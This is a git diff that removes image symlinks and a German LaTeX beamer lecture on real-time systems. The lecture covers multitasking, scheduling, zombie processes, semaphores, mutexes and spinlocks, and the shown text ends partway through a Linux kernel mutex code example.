diff --git a/20161006/Retribution_Engine_Screenshot_120807.jpg b/20161006/Retribution_Engine_Screenshot_120807.jpg
deleted file mode 120000
index 19f4cb3e4aae1e24c3466a25b2c0e5ad90ee49e7..0000000000000000000000000000000000000000
--- a/20161006/Retribution_Engine_Screenshot_120807.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/Retribution_Engine_Screenshot_120807.jpg
\ No newline at end of file
diff --git a/20161006/Telefon_t-sinus-700.jpg b/20161006/Telefon_t-sinus-700.jpg
deleted file mode 120000
index 27c322c50b0f05edc8b07cfb0cc99b1876eb506d..0000000000000000000000000000000000000000
--- a/20161006/Telefon_t-sinus-700.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/Telefon_t-sinus-700.jpg
\ No newline at end of file
diff --git a/20161006/Zeichen_123.pdf b/20161006/Zeichen_123.pdf
deleted file mode 120000
index fdbc897227df059cfda790a16555e6e417682116..0000000000000000000000000000000000000000
--- a/20161006/Zeichen_123.pdf
+++ /dev/null
@@ -1 +0,0 @@
-../common/Zeichen_123.pdf
\ No newline at end of file
diff --git a/20161006/a380.jpg b/20161006/a380.jpg
deleted file mode 120000
index 33a5d1fd18843bf7385e5a6d90f69af9fd8720da..0000000000000000000000000000000000000000
--- a/20161006/a380.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/a380.jpg
\ No newline at end of file
diff --git a/20161006/curiosity.jpg b/20161006/curiosity.jpg
deleted file mode 120000
index 4452844da537414b751c5283ca8468b3ced9afb3..0000000000000000000000000000000000000000
--- a/20161006/curiosity.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/curiosity.jpg
\ No newline at end of file
diff --git a/20161006/dsc_8208.jpg b/20161006/dsc_8208.jpg
deleted file mode 120000
index 5796341ebc774aa09965a3a29854c65ce1144fb8..0000000000000000000000000000000000000000
--- a/20161006/dsc_8208.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/dsc_8208.jpg
\ No newline at end of file
diff --git a/20161006/herzschrittmacher.jpg b/20161006/herzschrittmacher.jpg
deleted file mode 120000
index 92d8f0053003cc555aec83f5d088f1cec822ad81..0000000000000000000000000000000000000000
--- a/20161006/herzschrittmacher.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/herzschrittmacher.jpg
\ No newline at end of file
diff --git a/20161006/pathfinder.jpg b/20161006/pathfinder.jpg
deleted file mode 120000
index 23c6444fee26e0cf0dd2f8639484b00aa5021b59..0000000000000000000000000000000000000000
--- a/20161006/pathfinder.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/pathfinder.jpg
\ No newline at end of file
diff --git a/20161006/philosophenproblem.jpg b/20161006/philosophenproblem.jpg
deleted file mode 120000
index 26591b2ac2dddfd4786814baf3f19ecb67f1f5ee..0000000000000000000000000000000000000000
--- a/20161006/philosophenproblem.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/philosophenproblem.jpg
\ No newline at end of file
diff --git a/20161006/quadrocopter.jpg b/20161006/quadrocopter.jpg
deleted file mode 120000
index 7eaf0c024b63b7bc1dd3df2c17c8ab93f67fc15c..0000000000000000000000000000000000000000
--- a/20161006/quadrocopter.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/quadrocopter.jpg
\ No newline at end of file
diff --git a/20161006/rp6.jpg b/20161006/rp6.jpg
deleted file mode 120000
index 2a0ecff23845770c3a98178eca6dce3ec73aca58..0000000000000000000000000000000000000000
--- a/20161006/rp6.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/rp6.jpg
\ No newline at end of file
diff --git a/20161006/systech-20161006.pdf b/20161006/systech-20161006.pdf
deleted file mode 100644
index fe2687fa0d56aabe606c876828f5bb7f8be9bbbf..0000000000000000000000000000000000000000
Binary files a/20161006/systech-20161006.pdf and /dev/null differ
diff --git a/20161006/systech-20161006.tex b/20161006/systech-20161006.tex
deleted file mode 100644
index 3da107969fae8dc05e689cf54eef731f495c7818..0000000000000000000000000000000000000000
--- a/20161006/systech-20161006.tex
+++ /dev/null
@@ -1,1824 +0,0 @@
-% systech-20161006.pdf - Lecture Slides on Advanced System Engineering
-% Copyright (C) 2013, 2014, 2015, 2016  Peter Gerwinski
-%
-% This document is free software: you can redistribute it and/or
-% modify it either under the terms of the Creative Commons
-% Attribution-ShareAlike 3.0 License, or under the terms of the
-% GNU General Public License as published by the Free Software
-% Foundation, either version 3 of the License, or (at your option)
-% any later version.
-%
-% This document is distributed in the hope that it will be useful,
-% but WITHOUT ANY WARRANTY; without even the implied warranty of
-% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-% GNU General Public License for more details.
-%
-% You should have received a copy of the GNU General Public License
-% along with this document.  If not, see <http://www.gnu.org/licenses/>.
-%
-% You should have received a copy of the Creative Commons
-% Attribution-ShareAlike 3.0 Unported License along with this
-% document.  If not, see <http://creativecommons.org/licenses/>.
-
-\documentclass[10pt,t]{beamer}
-
-\usepackage{pgslides}
-%\usepackage{rotating}
-\usepackage{pdftricks}
-\usepackage[obeyfamily=false,mathrm=mathsf,textrm=sffamily]{siunitx}
-\usepackage{tikz}
-
-\newrgbcolor{lightyellow}{0.95 0.85 0.0}
-\newrgbcolor{lightorange}{1.0 0.7 0.0}
-\newrgbcolor{lightgreen}{0.0 0.8 0.0}
-
-\begin{psinputs}
-  \usepackage[latin1]{inputenc}
-  \usepackage[german]{babel}
-  \usepackage[T1]{fontenc}
-  \usepackage{helvet}
-  \renewcommand*\familydefault{\sfdefault}
-  \usepackage{pstricks}
-  \psset{unit=1cm}
-\end{psinputs}
-
-\title{Vertiefung Systemtechnik}
-\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski}
-\date{6.\ Oktober 2016}
-
-\begin{document}
-
-\newlength{\normalpdfpageheight}
-\setlength{\normalpdfpageheight}{\pdfpageheight}
-
-\maketitleframe
-
-\sectionnonumber{Vertiefung Systemtechnik}
-
-\begin{frame}[fragile]
-
-  \begin{visibleenv}<2->
-    \begin{picture}(2,1)
-      \put(1.3,0.6){\vector(0,-1){0.6}}
-      \put(1.3,0.6){\line(1,0){1}}
-      \put(2.4,0.6){\makebox(0,0)[l]{\dots\ für Fortgeschrittene}}
-    \end{picture}
-%    \begin{pdfpic}
-%      \begin{pspicture}(2,1)
-%        \put(2.4,0.6){\makebox(0,0)[l]{\dots\ für Fortgeschrittene}}
-%        \psline[arrows=->](2.3,0.6)(1.3,0.6)(1.3,-0.4)
-%      \end{pspicture}
-%    \end{pdfpic}
-%    \vspace{-1cm}
-  \end{visibleenv}
-
-  \showsectionnonumber
-
-  \begin{onlyenv}<3->
-
-    \begin{picture}(2,2.3)(0,-1.3)
-      \put(4.2,0.7){\vector(0,1){0.6}}
-      \only<3>{\put(0,0.5){\makebox(0,0)[tl]{\includegraphics[width=10.5cm]{wp-systemtechnik.png}}}}
-      \pause[4]
-      \put(4.2,0.5){\makebox(0,0)[t]{\Large\textbf{\color{structure}Echtzeitsysteme}}}
-      \pause
-      \put(6.0,-0.8){\vector(-1,1){0.6}}
-      \put(6.0,-0.9){\makebox(0,0)[t]{Geräte aller Art}}
-      \pause
-      \put(2.0,-0.8){\vector(1,1){0.6}}
-      \put(0,-0.9){\makebox(0,0)[tl]{Was ist Echtzeit?}}
-    \end{picture}
-
-  \end{onlyenv}
-  
-\end{frame}
-
-\begin{frame}
-  \begin{center}
-    \begin{tikzpicture}
-      \draw (0, 2) ellipse (4 and 3);
-      \node at (-1, 3.5) {Vertiefung Systemtechnik};
-      \color{red}
-      \draw (3, 2) ellipse (4 and 3);
-      \node at (4, 3.5) {\shortstack{Software-Entwicklung\\für eingebettete Systeme}};
-      \pause
-      \color{blue}
-      \draw (1.5, 0) ellipse (4 and 3);
-      \node at (1.5, 0.5) {\shortstack{Eingebettete Systeme\\(3.\ Semester)}};
-      \pause
-      \color{gray}
-      \draw (5.5, -3.6) arc (0:180:4 and 3);
-      \node at (1.5, -3.3) {Netzwerktechnik};
-    \end{tikzpicture}
-  \end{center}
-  \vspace*{-1cm}
-\end{frame}
-
-\sectionnonumber{In dieser Lehrveranstaltung \dots}
-
-\begin{frame}
-
-  \showsectionnonumber
-  \vspace*{-\medskipamount}
-  \begin{itemize}
-    \item
-      Theorie der Echtzeitprogrammierung: Vorlesung\,/\,Übung
-    \item
-      Praxis der Echtzeitprogrammierung: Projektaufgabe als Prüfungsleistung
-    \arrowitem
-      {\color{red} Projektaufgabe überlegen}
-    \item
-      Exkursion: TFC -- Simulatoren und Technik GmbH, Velbert-Nierenhof
-  \end{itemize}
-
-  \bigskip
-
-  Weiteres Angebot:
-  \begin{itemize}
-    \item
-      Einführung in Unix
-    \item
-      TCP/IP und Bus-Systeme in der Praxis
-    \item
-      Web-Interfaces
-  \end{itemize}
-
-  \bigskip
-
-  \color{gray}
-  Weitere Ideen:
-  \begin{itemize}
-    \item[\color{gray}$\bullet$]
-      \color{gray}
-      Einführung in die GUI-Programmierung
-  \end{itemize}
-
-%  \begin{picture}(0,0)
-%    \put(4.5,1.2){\begin{rotate}{15}--- Serviervorschlag ---\end{rotate}}
-%  \end{picture}
-
-\end{frame}
-
-\clearpage\strut\clearpage
-
-\sectionnonumber{\inserttitle}
-
-\begin{frame}
-
-  \showsectionnonumber
-
-  \begin{itemize}
-    \item[\textbf{1}] \textbf{Einführung}
-      \begin{itemize}
-        \item[1.1] \color{red}Was ist Echtzeit?
-        \item[1.2] Echtzeitprogrammierung
-      \end{itemize}
-    \item[\textbf{2}] \textbf{Theorie der Echtzeitsysteme}
-    \item[\textbf{3}] \textbf{Echtzeitbetriebssysteme}
-    \item[\textbf{4}] \textbf{Frameworks}
-%    \bigskip
-%    \item[\textbf{U}] \textbf{Einführung in Unix}
-%    \item[\textbf{X}] \textbf{Einführung in die GUI-Programmierung}
-  \end{itemize}
-
-\end{frame}
-
-\section{Einführung}
-
-\subsection{Was ist Echtzeit?}
-
-\begin{frame}
-  
-  \showsubsection
-
-  \begin{itemize}
-    \pause
-    \item
-      Animation in Echtzeit:\\
-      schnelle Berechnung anstatt Wiedergabe einer Aufzeichnung
-    \pause
-    \medskip
-    \item
-      Fantasy-Rollenspiel in Echtzeit:\\
-      Der Zeitverlauf der Spielwelt entspricht dem der realen Welt.
-    \pause
-    \medskip
-    \item
-      Datenverarbeitung in Echtzeit:\\
-      Die Daten werden so schnell verarbeitet, wie sie anfallen.
-    \pause
-    \medskip
-    \item
-      speziell: Echtzeit-Steuerung von Maschinen:\\
-      Die Berechnung kann mit den physikalischen Vorgängen schritthalten.
-    \pause
-    \bigskip
-    \arrowitem
-      "`Schnell genug."'
-  \end{itemize}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsubsection
-
-  "`Schnell genug."' \pause-- "`Und wenn nicht?"'
-
-  \pause
-
-  \begin{itemize}
-    \item
-      "`Ganz schlecht."' \pause\textarrow\ \newterm{harte Echtzeit}
-      \begin{onlyenv}<4-8>
-        \begin{picture}(0,0)(0,-0.3)
-          \pause
-          \put(0,-4){\makebox(0,0)[br]{\includegraphics[height=3.5cm]{a380.jpg}}}
-          % http://de.wikipedia.org/w/index.php?title=Datei:Airbus_A380_overfly.jpg&filetimestamp=20111223141606
-          \pause
-          \put(0.2,-3.9){\makebox(0,0)[bl]{\includegraphics[height=4.0cm]{quadrocopter.jpg}}}
-          %\put(0.2,-3.5){\makebox(0,0)[bl]{\includegraphics[height=3.5cm]{mercedes-benz-w116.jpg}}}
-          % http://commons.wikimedia.org/wiki/File:1973-1980_Mercedes-Benz_450_SEL_%28W116%29_sedan_%282010-12-28%29_01.jpg
-          \pause
-          \put(-0.5,-4.2){\makebox(0,0)[tr]{\includegraphics[height=3.5cm]{herzschrittmacher.jpg}}}
-          % http://de.wikipedia.org/w/index.php?title=Datei:Pacemaker_GuidantMeridianSR.jpg&filetimestamp=20051203173642
-          \pause
-          \put(0,-4){\makebox(0,0)[tl]{\includegraphics[height=3.5cm]{curiosity.jpg}}}
-          % http://mars.jpl.nasa.gov/msl/news/whatsnew/index.cfm?FuseAction=ShowNews&NewsID=1344
-        \end{picture}
-      \end{onlyenv}
-    \pause\\[2pt]
-    rechtzeitiges Ergebnis funktionsentscheidend
-
-    \smallskip
-
-    \pause
-    \item
-      "`Unschön."' \textarrow\ \newterm{weiche Echtzeit}
-      \begin{onlyenv}<10-12>
-        \begin{picture}(0,0)(0,0.3)
-          \pause
-          \put(0,-4){\makebox(0,0)[br]{\includegraphics[width=5cm]{Retribution_Engine_Screenshot_120807.jpg}}}
-          % http://en.wikipedia.org/wiki/File:Retribution_Engine_Screenshot_120807.jpg
-          \pause
-          \put(0.1,-4.5){\makebox(0,0)[bl]{\includegraphics[width=5cm]{Telefon_t-sinus-700.jpg}}}
-          % http://de.wikipedia.org/w/index.php?title=Datei:Telefon_t-sinus-700.jpg&filetimestamp=20050807203655
-        \end{picture}
-      \end{onlyenv}
-      \pause\\[2pt]
-      verspätetes Ergebnis qualitätsmindernd
-      \begin{itemize}
-        \baselineskip14pt\par
-        \item
-          verwenden und Verzögerung in Kauf nehmen
-        \item
-          verwerfen und Ausfall in Kauf nehmen
-      \end{itemize}
-
-    \smallskip
-
-    \pause
-    \item
-      "`Es gibt keinen festen Termin. Möglichst schnell halt."'\pause\\[2pt]
-      \textarrow\ \newterm{keine Echtzeit}
-  \end{itemize}
-
-\end{frame}
-
-\begin{frame}[fragile]
-
-  \showsubsection
-
-  Das Problem:
-  \vspace{-\bigskipamount}
-  \begin{center}
-%    \begin{picture}(6,2)
-%      \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
-%      \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
-%      \put(2.75,0.875){\vector(1,3){0.25}}
-%      \put(2.75,0.875){\line(2,1){0.5}}
-%      \put(3.25,1.125){\vector(-1,-3){0.25}}
-%    \end{picture}
-    \begin{pdfpic}
-      \begin{pspicture}(6,2)
-        \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
-        \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
-        \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6)
-      \end{pspicture}
-    \end{pdfpic}
-  \end{center}
-
-  \pause
-
-  Beispiel:
-  \begin{itemize}
-    \item
-      Eine Motorsteuerung benötigt alle \SI{2000}{\mics} einen Steuerimpuls,\\
-      dessen Berechnung maximal \SI{10}{\mics} dauert.
-    \pause[3]
-    \item
-      Entweder: Der Steuer-Computer macht noch andere Dinge.\\
-      \textarrow\ Risiko der Zeitüberschreitung
-    \pause
-    \item
-      Oder: Der Steuer-Computer macht nichts anderes.\\
-      \textarrow\ Verschwendung von Rechenzeit\\
-      \pause
-      {\color{red}\textarrow\ Na und?}
-  \end{itemize}
-
-\end{frame}
-
-\begin{frame}[fragile]
-
-  \showsubsection
-
-  Das Problem:
-  \vspace{-\bigskipamount}
-  \begin{center}
-    \begin{pdfpic}
-      \begin{pspicture}(6,2)
-        \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
-        \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
-        \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6)
-      \end{pspicture}
-    \end{pdfpic}
-  \end{center}
-
-  \medskip
-
-  {\large\color{structure}\textbf{"`Verschwendung von Rechenzeit -- na und?"'}}
-
-  \medskip
-
-  \pause
-  Große Stückzahlen
-  \begin{itemize}
-    \item
-      138\,000 Toyota Prius V von Mai 2011 bis April 2012
-  \end{itemize}
-
-  \medskip
-
-  \pause
-  Wertvolle Ressourcen
-  \begin{itemize}
-    \item
-      Fähigkeiten einer Raumsonde optimieren
-      % (Marsumlaufbahn: ab ca.~127\,000 Euro pro kg)
-      % 70000000 / 550000 = 127._27
-      % http://www.bernd-leitenberger.de/blog/2009/09/29/reduktion-der-kosten-von-planetenmissionen/
-      \only<.(1)>{\\[\bigskipamount]\strut\hfill\makebox(0,0)[r]{\includegraphics[height=3.5cm]{curiosity.jpg}}}
-    \pause
-    \item
-      Implantat: Platz- und Stromverbrauch minimieren
-      \only<.(1)>{\\[\smallskipamount]\strut\hfill\makebox(0,0)[r]{\includegraphics[height=3.4cm]{herzschrittmacher.jpg}}}
-  \end{itemize}
-
-  \bigskip
-
-  \pause
-  \textarrow\ {\large\color{structure}\textbf{Echtzeitprogrammierung}}\\[2pt]
-  \strut \phantom{\textarrow} Echtzeitanforderungen erfüllen, ohne Ressourcen zu verschwenden
-
-\end{frame}
-
-\subsection{Echtzeitprogrammierung}
-
-\begin{frame}
-
-  \showsubsection
-
-  Echtzeitanforderungen erfüllen, ohne Ressourcen zu verschwenden
-
-  \bigskip
-
-  \alt<.(1)>{Aber wie?}{Beispiele für Lösungen:}
-
-  \begin{itemize}
-    \pause
-    \item
-      ZigBee-Modul:\only<.(1)>{\hfill\makebox(0,0)[tr]{\includegraphics[width=5cm]{xbee.jpg}}}\\
-      % http://commons.wikimedia.org/wiki/File:Arduino_xbee.JPG
-      Funk- vs.\ UART-Protokoll\\
-      \textarrow\ dedizierte Hardware
-    \pause
-    \item
-      RP6:\\
-      Motorsteuerung vs.\ Anwender-Software\\
-      \textarrow\ spezielle Software
-      \only<.(1)>{\hfill\makebox(0,0)[r]{\includegraphics[width=5cm]{rp6.jpg}}}
-    \pause
-    \item
-      Quadrocopter:\\
-      Motorsteuerung vs.\ Sensoren-Abfrage\\
-      vs.\ Funk-Fernsteuerung \dots\\
-      \textarrow\ spezielle Software
-      \only<.(1)>{\hfill\makebox(0,0)[br]{\includegraphics[width=5cm]{quadrocopter.jpg}}}\\
-    \pause
-    \item
-      Flugzeugkabinensimulatortür:\\
-      Türsteuerung vs.\ Bedienung\\
-      \textarrow\ Echtzeitbetriebssystem
-      \only<.(1)>{\\[-3.2cm]\strut\hfill\makebox(0,0)[r]{\includegraphics[angle=-90,width=5cm]{dsc_8208.jpg}}}
-  \end{itemize}
-
-\end{frame}
-
-\sectionnonumber{\inserttitle}
-
-\begin{frame}
-
-  \showsectionnonumber
-
-  \begin{itemize}
-    \item[\textbf{1}] \textbf{Einführung}
-      \begin{itemize}
-        \item[1.1] \color{medgreen}Was ist Echtzeit?
-        \item[1.2] Echtzeitprogrammierung
-      \end{itemize}
-    \item[\textbf{2}] \color{red}\textbf{Theorie der Echtzeitsysteme}
-      \begin{itemize}
-        \item[2.1] \color{red}Multitasking
-      \end{itemize}
-    \item[\textbf{3}] \color{black}\textbf{Echtzeitbetriebssysteme}
-    \item[\textbf{4}] \textbf{Frameworks}
-%    \bigskip
-%    \item[\textbf{U}] \textbf{Einführung in Unix}
-%    \item[\textbf{X}] \textbf{Einführung in die GUI-Programmierung}
-  \end{itemize}
-
-\end{frame}
-
-\section{Theorie der Echtzeitsysteme}
-
-\begin{frame}
-
-  \visible<5->{\showsection}
-
-  Quadrocopter-Steuerung \emph{MultiWii}
-  \begin{itemize}
-    \item
-      Konfiguration durch bedingte Compilierung (Präprozessor)
-    \item
-      In der Hauptschleife wird 50mal pro Sekunde der RC-Task aufgerufen,\\
-      ansonsten zyklisch einer von bis zu 5 weiteren Tasks.
-  \end{itemize}
-
-  \pause
-
-  RP6-Steuerung
-  \begin{itemize}
-    \item
-      Konfiguration durch bedingte Compilierung (Präprozessor)
-    \item
-      Lichtschranken an Encoder-Scheiben lösen bei Bewegung Interrupts aus.\\
-      Die Interrupt-Handler zählen Variable hoch.
-    \item
-      10000mal pro Sekunde: Timer-Interrupt\\
-      Durch Zähler im Interrupt-Handler: verschiedene Taktraten\\
-      1000mal pro Sekunde: Stopwatches\\
-      5mal pro Sekunde: Blinkende Power-On-LED\\
-      1000mal pro Sekunde: Bumper, ACS, PWM zur Motorsteuerung\\
-      Geschwindigkeitsmessung durch Zählen der Ticks in 0.2\,s\\
-      Anpassung der Motorkraft in $\pm$1-Schritten
-    \pause
-    \item
-      Nebenbei: \only<4->{1 }Benutzerprogramm
-  \end{itemize}
-
-\end{frame}
-
-\subsection{Multitasking}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  \begin{itemize}
-    \item
-      \newterm{Kooperatives Multitasking}\\
-      Prozesse geben freiwillig Rechenzeit ab
-    \item
-      \newterm{Präemptives Multitasking}\\
-      Das Betriebssystem unterbricht laufende Prozesse\\
-      (englisch: \emph{to pre-empt\/} -- jemandem zuvorkommen)
-    \bigskip
-    \item
-      \newterm{Scheduler}\\
-      Steuerprogramm, das Prozessen Rechenzeit zuteilt
-    \item
-      \newterm{Kontextwechsel}\\
-      Umschalten zwischen zwei Prozessen
-    \item
-      \newterm{Round-Robin-Verfahren (Rundlauf)}\\
-      Zuteilung von \newterm{Zeitschlitzen\/} auf einer \newterm{Zeitscheibe} an die Prozesse
-    \bigskip
-    \pause
-    \item
-      Ausblick: Zuteilung von Rechenzeit = wichtiger Spezialfall\\
-      allgemein: Zuteilung von Ressourcen
-  \end{itemize}
-
-\end{frame}
-
-\subsectionnonumber{Beispiele für Multitasking}
-
-\begin{frame}
-
-  \showsubsectionnonumber
-
-  Quadrocopter-Steuerung \emph{MultiWii}
-  \begin{itemize}
-    \item
-      Konfiguration durch bedingte Compilierung (Präprozessor)
-    \item
-      In der Hauptschleife wird 50mal pro Sekunde der RC-Task aufgerufen,\\
-      ansonsten zyklisch einer von bis zu 5 weiteren Tasks.
-  \end{itemize}
-
-  RP6-Steuerung
-  \begin{itemize}
-    \item
-      Konfiguration durch bedingte Compilierung (Präprozessor)
-    \item
-      Lichtschranken an Encoder-Scheiben lösen bei Bewegung Interrupts aus.\\
-      Die Interrupt-Handler zählen Variable hoch.
-    \item
-      10000mal pro Sekunde: Timer-Interrupt\\
-      verschiedene Tasks werden unterschiedlich häufig aufgerufen
-    \item
-      Nebenbei: 1 Benutzerprogramm
-  \end{itemize}
-
-  Linux 0.01
-  \begin{itemize}
-    \item
-      Timer-Interrupt:\only<2->{ Zähler des aktuellen Tasks wird dekrementiert;}\\
-      Task mit höchstem Zähler bekommt Rechenzeit.
-    \item
-      Wenn es keinen laufbereiten Task mit positivem Zähler gibt,\\
-      bekommen alle Tasks gemäß ihrer Priorität neue Zähler zugewiesen.
-    \item
-      \emph{keine\/} harte Echtzeit
-      % Aufgabe: Wo wird der Zähler heruntergezählt?
-  \end{itemize}
-
-\end{frame}
-
-\subsectionnonumber{Zombies}
-
-\begin{frame}
-
-  \showsubsectionnonumber
-
-  \pause
-  Wikipedia:
-  \begin{quote}
-    Als Zombie wird die fiktive Figur eines zum Leben erweckten
-    Toten (Untoter) oder eines seiner Seele beraubten, willenlosen
-    Wesens bezeichnet. Der Begriff leitet sich von dem Wort nzùmbe
-    aus der zentralafrikanischen Sprache Kimbundu ab und bezeichnet
-    dort ursprünglich einen Totengeist.
-  \end{quote}
-
-  \bigskip
-
-  \pause
-  Ein Zombie-Prozeß ist bereits beendet ("`tot"'),\\
-  bekommt keine Rechenzeit mehr ("`seiner Seele beraubt"'),\\
-  hat alle belegten Ressourcen wieder freigegeben ("`willenlos"'),\\
-  wird aber noch in der Prozeßliste geführt ("`untot"').
-  \begin{itemize}
-    \pause
-    \item
-      Warum?
-      \textarrow\
-      Ein anderer Prozeß (Elternprozeß) wartet noch auf den
-      Rückgabewert des beendeten Prozesses.
-    \pause
-    \item
-      Schadet das?
-      \textarrow\
-      Nein.
-    \pause
-    \item
-      Aber?
-      \textarrow\
-      Wenn sich Zombie-Prozesse anhäufen, deutet dies auf einen
-      Prozeß hin, der andere Prozesse erzeugt und anschließend "`hängt"'.
-    \pause
-    \item
-      Beispiel:
-      Datenträger entfernt, zugreifender Prozeß "`hängt"'.\\
-      \textarrow\
-      Tochterprozesse werden zu Zombies.
-  \end{itemize}
-
-\end{frame}
-
-\subsectionnonumber{Multitasking}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  \begin{minipage}[t]{6cm}
-    Qualitätssicherung beim Multitasking
-    \begin{itemize}
-      \item<3->
-        Verschiedene Anforderungen:
-        \newterm{Latenz\/} vs.\ \newterm{Jitter\/}\\
-        vs.\ \newterm{Durchsatz}
-        \smallskip
-        \begin{onlyenv}<4>
-          \begin{itemize}
-            \item
-              \newterm{Latenz:} interaktive Anwendungen
-            \item
-              \newterm{Jitter:} Echtzeitanwendungen
-            \item
-              \newterm{Durchsatz:} Stapelverarbeitung
-          \end{itemize}
-          \vspace*{-3cm}
-        \end{onlyenv}
-      \item<5->
-        Ressourcen reservieren:\\
-        \newterm{Mutexe}
-        \only<6->{(= spezielle \newterm{Semaphore\/})\\}
-        \only<7->{\textarrow\ kommt gleich}
-      \item<8->
-        Verschiedene Methoden\\
-        der Priorisierung\\
-        \textarrow\ später\\
-        \strut
-      \item<9->
-        Umgehung der Probleme durch
-        speziell geschriebene Software\\
-        (MultiWii, RP6, \dots)
-    \end{itemize}
-  \end{minipage}
-  \hfill
-  \pause
-  \begin{minipage}[t]{6.2cm}
-    Qualitätssicherung für Netzwerke:
-    \begin{itemize}
-      \item
-        Verschiedene Anforderungen:
-        \newterm{Latenz\/} vs.\ \newterm{Jitter\/} vs.\ \newterm{Verluste\/}\\vs.\ \newterm{Durchsatz}
-      \item
-        Ressourcen reservieren:\\
-        \newterm{IntServ} mit \newterm{Resource Reservation Protocol (RSVP)}
-      \item
-        Klassifizierung und Priorisierung:
-        \newterm{DiffServ} mit Type-of-Service-Bits (IPv4)
-        bzw.\ Traffic-Class-Bits (IPv6) im IP-Header
-      \item
-        Eigenes Protokoll (Telefondienste):\\
-        \newterm{Asynchronous Transfer Mode (ATM)}
-    \end{itemize}
-  \end{minipage}
-
-\end{frame}
-
-\subsection{Ressourcen}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ressourcen reservieren
-  \begin{itemize}
-    \item
-      \newterm{Semaphor}\\
-      gemeinsame Variable mehrerer Prozesse\\
-      zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount]
-      Ressource belegt \textarrow\ Kontextwechsel
-      \begin{onlyenv}<1>
-        \par\medskip
-        griechisch: \emph{sema\/} -- Zeichen, \emph{pherein\/} -- tragen\\
-        "`Eisenbahnsignal"'
-        \vspace*{-3cm}
-      \end{onlyenv}
-    \pause
-    \medskip
-    \item
-      \newterm{Mutex}\\
-      Mechanismus, damit immer nur ein Prozeß gleichzeitig\\
-      auf eine Ressource zugreifen kann
-      \begin{onlyenv}<2>
-        \par\medskip
-        englisch: \emph{mutual exclusion\/} -- wechselseitiger Ausschluß\\
-        spezieller binärer Semaphor: nur "`Besitzer"' darf freigeben\\
-        % allgemein: auch jemand anderer dürfte freigeben
-        \vspace*{-3cm}
-      \end{onlyenv}
-    \pause
-    \medskip
-    \item
-      \newterm{Spinlock} (\emph{busy waiting\/})\\
-      leichtgewichtige Alternative zu Kontextwechsel
-      \begin{onlyenv}<3>
-        \par\medskip
-        englisch: \emph{spin\/} -- rotieren, \emph{lock\/} Sperre\\
-        \emph{busy waiting} auf etwas Schnelles, z.\,B.\ auf einen Semaphor\\[\medskipamount]
-        Hardware-Unterstützung:
-        Prüfen, ob Variable bestimmten Wert hat;\\
-        wenn ja, auf anderen Wert setzen; andere Prozessoren solange anhalten
-        \vspace*{-3cm}
-      \end{onlyenv}
-    \pause
-    \medskip
-    \item
-      \newterm{Kritischer Abschnitt -- critical section}\\
-      Programmabschnitt zwischen Reservierung\\
-      und Freigabe einer Ressource\\
-      \textarrow\ sollte immer so kurz wie möglich sein
-  \end{itemize}
-  \vspace*{-1cm}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ressourcen reservieren --
-  Beispiel: \file{linux-3.7rc1}
-  \begin{itemize}
-    \item
-      \newterm{Semaphor}\\
-      \file{kernel/semaphor.c}\\
-      \file{drivers/usb/core/file.c}
-    \medskip
-    \item
-      \newterm{Mutex}\\
-      \file{kernel/mutex.c}\\
-      \file{drivers/usb/serial/usb-serial.c}
-    \medskip
-    \item
-      \newterm{Spinlock}\\
-      \file{kernel/spinlock.c}\\
-      \file{kernel/semaphor.c},
-      \file{kernel/mutex.c}
-  \end{itemize}
-
-  % Aufgabe: Anwendungsarten im MultiWii- und RP6-Code identifizieren
-
-  % evtl. Aufgabe: Warte-Problem
-
-  % Aufgabe: Wie lösen bekannte Multitasking-Betriebssysteme
-  % das o.a. Zuteilungsproblem?
-
-  % Danach: Semaphoren, Mutexe, Spinlocks
-  % Priorisierungsmethoden und -probleme
-
-  % Festplatten: completely fair queueing
-  % cat /sys/block/sdc/queue/scheduler
-  % "noop" hat sich für SVG gelohnt
-
-  % Virtualisierung + Kernel-Threads + Multiprozessorsystem = Chaos
-
-\end{frame}
-
-\begin{frame}[fragile]
-
-  \textbf{Beispiel:}
-  \lstinline{usb_serial_get_by_index()} -- serielle Schnittstelle reservieren
-
-  Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62
-
-  \medskip
-
-  \begin{lstlisting}
-    struct usb_serial *usb_serial_get_by_index (unsigned index)
-    {
-      struct usb_serial *serial;
-      mutex_lock (&table_lock);
-      serial = serial_table[index];
-      if (serial)
-        {
-          mutex_lock (&serial->disc_mutex);
-          if (serial->disconnected)
-            {
-              mutex_unlock (&serial->disc_mutex);
-              serial = NULL;
-            }
-          else
-            kref_get (&serial->kref);
-        }
-      mutex_unlock (&table_lock);
-      return serial;
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(5.1,6.85){\vector(-1,0){0.5}}
-    \put(5.2,6.85){\makebox(0,0)[l]{exklusiven Zugriff auf Tabelle sichern}}
-    \put(5.4,1.35){\vector(-1,0){0.5}}
